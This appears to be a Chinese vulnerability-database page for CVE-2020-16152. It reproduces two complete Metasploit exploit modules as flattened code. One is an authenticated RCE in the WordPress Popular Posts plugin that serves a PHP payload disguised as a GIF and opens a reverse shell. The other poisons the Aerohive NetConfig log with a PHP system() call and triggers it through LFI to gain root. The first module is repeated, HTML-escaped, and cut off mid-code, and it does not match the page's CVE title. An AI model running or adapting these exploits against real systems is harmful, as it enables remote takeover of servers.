POC详情: 2d908270783adebc7292030206f680cd5567f4bf

来源
关联漏洞
标题: Linux Administrative Tools for Intel Network Adapters 安全漏洞 (CVE-2020-16152)
描述:Linux Administrative Tools for Intel Network Adapters是美国英特尔(Intel)公司的一款基于Linux平台的、用于Intel网络适配器的管理工具。 NetConfig UI administrative interface 存在安全漏洞,攻击者通过远程HTTP请求以root用户身份执行PHP代码,将代码插入日志文件,然后遍历该文件。
描述
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Wordpress  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Wordpress Popular Posts Authenticated RCE',        'Description' => %q{          This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.          The FQDN must also not resolve to a reserved address (192/172/127/10).  The server must also respond to a HEAD request          for the payload, prior to getting a GET request.          This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.          The exploit chain is rather complicated.  Authentication is required and 'gd' for PHP is required on the server.          Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.          A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once          the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded          which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a          double extension ('.gif.php') allowing for arbitrary PHP code to be executed.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Simone Cristofaro', # edb          'Jerome Bruandet' # original analysis        ],        'References' => [          [ 'EDB', '50129' ],          [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],          [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],          [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],          [ 'CVE', '2021-42362' ]        ],        'Platform' => ['php'],        'Stance' => Msf::Exploit::Stance::Aggressive,        'Privileged' => false,        'Arch' => ARCH_PHP,        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2021-06-11',        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'php/meterpreter/reverse_tcp',          'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger        },        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('USERNAME', [true, 'Username of the account', 'admin']),      OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560      OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584      OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),    ]  end  def check    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?    checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')    if checkcode == CheckCode::Safe      print_error('Popular Posts not a vulnerable version')    end    return checkcode  end  def trigger_payload(on_disk_payload_name)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'keep_cookies' => 'true'    )    # loop this 5 times just incase there is a time delay in writing the file by the server    (1..5).each do |i|      print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")      Rex.sleep(10)      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),        'keep_cookies' => 'true'      )    end    if res && res.code == 404      print_error('Failed to find payload, may not have uploaded correctly.')    end  end  def on_request_uri(cli, request, payload_name, post_id)    if request.method == 'HEAD'      print_good('Responding to initial HEAD request (passed check 1)')      # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length      # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.      # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught      return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })    end    if request.method == 'GET'      on_disk_payload_name = "#{post_id}_#{payload_name}"      register_file_for_cleanup(on_disk_payload_name)      print_good('Responding to GET request (passed check 2)')      send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')      close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions      Rex.sleep(2) # wait for WP to finish all the checks it needs      trigger_payload(on_disk_payload_name)    end    print_status("Received unexpected #{request.method} request")  end  def check_gd_installed(cookie)    vprint_status('Checking if gd is installed')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'GET',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'debug'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    res.body.include? ' gd'  end  def get_wpp_admin_token(cookie)    vprint_status('Retrieving wpp_admin token')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'GET',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'tools'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body    Regexp.last_match(1)  end  def change_settings(cookie, token)    vprint_status('Updating popular posts settings for images')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'debug'      },      'vars_post' => {        'upload_thumb_src' => '',        'thumb_source' => 'custom_field',        'thumb_lazy_load' => 0,        'thumb_field' => 'wpp_thumbnail',        'thumb_field_resize' => 1,        'section' => 'thumb',        'wpp-admin-token' => token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body  end  def clear_cache(cookie, token)    vprint_status('Clearing image cache')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'debug'      },      'vars_post' => {        'action' => 'wpp_clear_thumbnail',        'wpp-admin-token' => token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  end  def enable_custom_fields(cookie, custom_nonce, post)    # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.    res = send_request_cgi!(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),      'cookie' => cookie,      'keep_cookies' => 'true',      'method' => 'POST',      'vars_post' => {        'toggle-custom-fields-nonce' => custom_nonce,        '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",        'action' => 'toggle-custom-fields'      }    )    /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body    Regexp.last_match(1)  end  def create_post(cookie)    vprint_status('Creating new post')    # get post ID and nonces    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),      'cookie' => cookie,      'keep_cookies' => 'true'    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body    /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body    /},"post":{"id":(?<post_id>\d*)/ =~ res.body    if ajax_nonce.nil?      print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this.  See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')      /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body      ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)    end    unless ajax_nonce.nil?      vprint_status("ajax nonce: #{ajax_nonce}")    end    unless wp_nonce.nil?      vprint_status("wp nonce: #{wp_nonce}")    end    unless post_id.nil?      vprint_status("Created Post: #{post_id}")    end    fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id    # publish new post    vprint_status("Writing content to Post: #{post_id}")    # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'ctype' => 'application/json',      'accept' => 'application/json',      'vars_get' => {        '_locale' => 'user',        'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)      },      'data' => {        'id' => post_id,        'title' => Rex::Text.rand_text_alphanumeric(20..30),        'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",        'status' => 'publish'      }.to_json,      'headers' => {        'X-WP-Nonce' => wp_nonce,        'X-HTTP-Method-Override' => 'PUT'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'    return post_id, ajax_nonce, wp_nonce  end  def add_meta(cookie, post_id, ajax_nonce, payload_name)    payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"    vprint_status("Adding malicious metadata for redirect to #{payload_url}")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_post' => {        '_ajax_nonce' => 0,        'action' => 'add-meta',        'metakeyselect' => 'wpp_thumbnail',        'metakeyinput' => '',        'metavalue' => payload_url,        '_ajax_nonce-add-meta' => ajax_nonce,        'post_id' => post_id      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"  end  def boost_post(cookie, post_id, wp_nonce, post_count)    # redirect as needed    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'keep_cookies' => 'true',      'cookie' => cookie,      'vars_get' => { 'page_id' => post_id }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301    print_status("Sending #{post_count} views to #{res.headers['Location']}")    location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>    (1..post_count).each do |_c|      res = send_request_cgi!(        'uri' => "/#{location}",        'cookie' => cookie,        'keep_cookies' => 'true'      )      # just send away, who cares about the response      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200      res = send_request_cgi(        # this URL varies from the POC on EDB, and is modeled after what the browser does        'uri' => normalize_uri(target_uri.path, 'index.php'),        'vars_get' => {          'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')        },        'keep_cookies' => 'true',        'method' => 'POST',        'cookie' => cookie,        'vars_post' => {          '_wpnonce' => wp_nonce,          'wpp_id' => post_id,          'sampling' => 0,          'sampling_rate' => 100        }      )      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201    end    fail_with(Failure::Unreachable, 'Site not responding') unless res  end  def get_top_posts    print_status('Determining post with most views')    res = get_widget    />(?<views>\d+) views</ =~ res.body    views = views.to_i    print_status("Top Views: #{views}")    views += 5 # make us the top post    unless datastore['VISTS'].nil?      print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")      views = datastore['VISITS']    end    views  end  def get_widget    # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond    # which then would kill the exploit, so in this case we just keep trying.    (1..10).each do |_|      @res = send_request_cgi(        'uri' => normalize_uri(target_uri.path),        'keep_cookies' => 'true'      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body    # load the widget directly    (1..10).each do |_|      @res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),        'keep_cookies' => 'true',        'vars_get' => {          'is_single' => 0        }      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    @res  end  def exploit    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])    if cookie.nil?      vprint_error('Invalid login, check credentials')      return    end    payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"    vprint_status("Payload file name: #{payload_name}")    fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)    post_count = get_top_posts    # we dont need to pass the cookie anymore since its now saved into http client    token = get_wpp_admin_token(cookie)    vprint_status("wpp_admin_token: #{token}")    change_settings(cookie, token)    clear_cache(cookie, token)    post_id, ajax_nonce, wp_nonce = create_post(cookie)    print_status('Starting web server to handle request for image payload')    start_service({      'Uri' => {        'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },        'Path' => "/#{payload_name}"      }    })    add_meta(cookie, post_id, ajax_nonce, payload_name)    boost_post(cookie, post_id, wp_nonce, post_count)    print_status('Waiting 90sec for cache refresh by server')    Rex.sleep(90)    print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')    res = get_widget    print_good('We made it to the top!') if res.body.include? payload_name    # if res.body.include? datastore['SRVHOSTNAME']    #  fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")    # end    # at this point, we rely on our web server getting requests to make the rest happen  endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',        'Description' => %q{          This module exploits LFI and log poisoning vulnerabilities          (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a          build-242466 and older in order to achieve unauthenticated remote          code execution as the root user. NetConfig is the Aerohive/Extreme          Networks HiveOS administrative webinterface. Vulnerable versions          allow for LFI because they rely on a version of PHP 5 that is          vulnerable to string truncation attacks. This module leverages this          issue in conjunction with log poisoning to gain RCE as root.          Upon successful exploitation, the Aerohive NetConfig application          will hang for as long as the spawned shell remains open. Closing          the session should render the app responsive again.          The module provides an automatic cleanup option to clean the log.          However, this option is disabled by default because any modifications          to the /tmp/messages log, even via sed, may render the target          (temporarily) unexploitable. This state can last over an hour.          This module has been successfully tested against Aerohive NetConfig          versions 8.2r4 and 10.0r7a.        },        'License' => MSF_LICENSE,        'Author' => [          'Erik de Jong', # github.com/eriknl - discovery and PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' => [          ['CVE', '2020-16152'], # still categorized as RESERVED          ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code        ],        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443        },        'Platform' => %w[linux unix],        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],        'Targets' => [          [            'Linux', {              'Arch' => [ARCH_ARMLE],              'Platform' => 'linux',              'DefaultOptions' => {                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',                'CMDSTAGER::FLAVOR' => 'curl'              }            }          ],          [            'CMD', {              'Arch' => [ARCH_CMD],              'Platform' => 'unix',              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'              }            }          ]        ],        'Privileged' => true,        'DisclosureDate' => '2020-02-17',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),      OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),    ]  end  def auto_clean_log    datastore['AUTO_CLEAN_LOG']  end  def check    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'index.php5')    })    unless res      return CheckCode::Unknown('Connection failed.')    end    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')    end    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first    unless version      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')    end    begin      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")      else        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")      end    rescue StandardError => e      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")    end  end  def poison_log    password = rand_text_alphanumeric(8..12)    @shell_cmd_name = rand_text_alphanumeric(3..6)    @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"    # Poison /tmp/messages    print_status('Attempting to poison the log at /tmp/messages...')    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'login.php5'),      'vars_post' => {        'login_auth' => 0,        'miniHiveUI' => 1,        'authselect' => 'Name/Password',        'userName' => @poison_cmd,        'password' => password      }    })    unless res      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')    end    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')    end    print_status('Server responded as expected. Continuing...')  end  def on_new_session(session)    log_cleaned = false    if auto_clean_log      print_status('Attempting to clean the log file at /tmp/messages...')      print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')      begin        # We need remove the line containing the PHP system call from /tmp/messages        # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.        # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line        # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:        # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.        line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"        clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"        cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\        "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"        if session.type.to_s.eql? 'meterpreter'          session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'          session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"")          # Wait for cleanup          Rex.sleep 5          # Check for the PHP system call in /tmp/messages          messages_contents = session.fs.file.open('/tmp/messages').read.to_s          # using =~ here produced unexpected results, so include? is used instead          unless messages_contents.include?(@poison_cmd)            log_cleaned = true          end        elsif session.type.to_s.eql?('shell')          session.shell_command_token(cmds_to_clean_log.to_s)          # Check for the PHP system call in /tmp/messages          poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")          # using =~ here produced unexpected results, so include? is used instead          unless poison_evidence.include?(@poison_cmd)            log_cleaned = true          end        end      rescue StandardError => e        print_error("Error during cleanup: #{e.message}")      ensure        super      end      unless log_cleaned        print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")      end    end    if log_cleaned      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')    else      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')    end  end  def execute_command(cmd, _opts = {})    print_status('Attempting to execute the payload')    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'action.php5'),      'vars_get' => {        '_action' => 'list',        'debug' => 'true'      },      'vars_post' => {        '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation        @shell_cmd_name => cmd      }    }, 0)    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')  end  def exploit    poison_log    if target.arch.first == ARCH_CMD      print_status('Executing the payload')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend
介绍
# nate158g-m-w-n-l-p-d-a-o-e
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule &lt; Msf::Exploit::Remote  Rank = NormalRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Wordpress  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Wordpress Popular Posts Authenticated RCE',        'Description' => %q{          This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.          The FQDN must also not resolve to a reserved address (192/172/127/10).  The server must also respond to a HEAD request          for the payload, prior to getting a GET request.          This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts &lt;= 5.3.2.          The exploit chain is rather complicated.  Authentication is required and 'gd' for PHP is required on the server.          Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.          A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once          the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded          which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a          double extension ('.gif.php') allowing for arbitrary PHP code to be executed.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Simone Cristofaro', # edb          'Jerome Bruandet' # original analysis        ],        'References' => [          [ 'EDB', '50129' ],          [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],          [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],          [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],          [ 'CVE', '2021-42362' ]        ],        'Platform' => ['php'],        'Stance' => Msf::Exploit::Stance::Aggressive,        'Privileged' => false,        'Arch' => ARCH_PHP,        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2021-06-11',        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'php/meterpreter/reverse_tcp',          'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger        },        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('USERNAME', [true, 'Username of the account', 'admin']),      OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560      OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584      OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),    ]  end  def check    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?    checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')    if checkcode == CheckCode::Safe      print_error('Popular Posts not a vulnerable version')    end    return checkcode  end  def trigger_payload(on_disk_payload_name)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'keep_cookies' => 'true'    )    # loop this 5 times just incase there is a time delay in writing the file by the server    (1..5).each do |i|      print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")      Rex.sleep(10)      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),        'keep_cookies' => 'true'      )    end    if res &amp;&amp; res.code == 404      print_error('Failed to find payload, may not have uploaded correctly.')    end  end  def on_request_uri(cli, request, payload_name, post_id)    if request.method == 'HEAD'      print_good('Responding to initial HEAD request (passed check 1)')      # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length      # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.      # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught      return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })    end    if request.method == 'GET'      on_disk_payload_name = "#{post_id}_#{payload_name}"      register_file_for_cleanup(on_disk_payload_name)      print_good('Responding to GET request (passed check 2)')      send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')      close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions      Rex.sleep(2) # wait for WP to finish all the checks it needs      trigger_payload(on_disk_payload_name)    end    print_status("Received unexpected #{request.method} request")  end  def check_gd_installed(cookie)    vprint_status('Checking if gd is installed')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'GET',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'debug'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    res.body.include? ' gd'  end  def get_wpp_admin_token(cookie)    vprint_status('Retrieving wpp_admin token')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'GET',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'tools'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /&lt;input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body    Regexp.last_match(1)  end  def change_settings(cookie, token)    vprint_status('Updating popular posts settings for images')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 'debug'      },      'vars_post' => {        'upload_thumb_src' => '',        'thumb_source' => 'custom_field',        'thumb_lazy_load' => 0,        'thumb_field' => 'wpp_thumbnail',        'thumb_field_resize' => 1,        'section' => 'thumb',        'wpp-admin-token' => token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /&lt;strong>Settings saved/ =~ res.body  end  def clear_cache(cookie, token)    vprint_status('Clearing image cache')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_get' => {        'page' => 'wordpress-popular-posts',        'tab' => 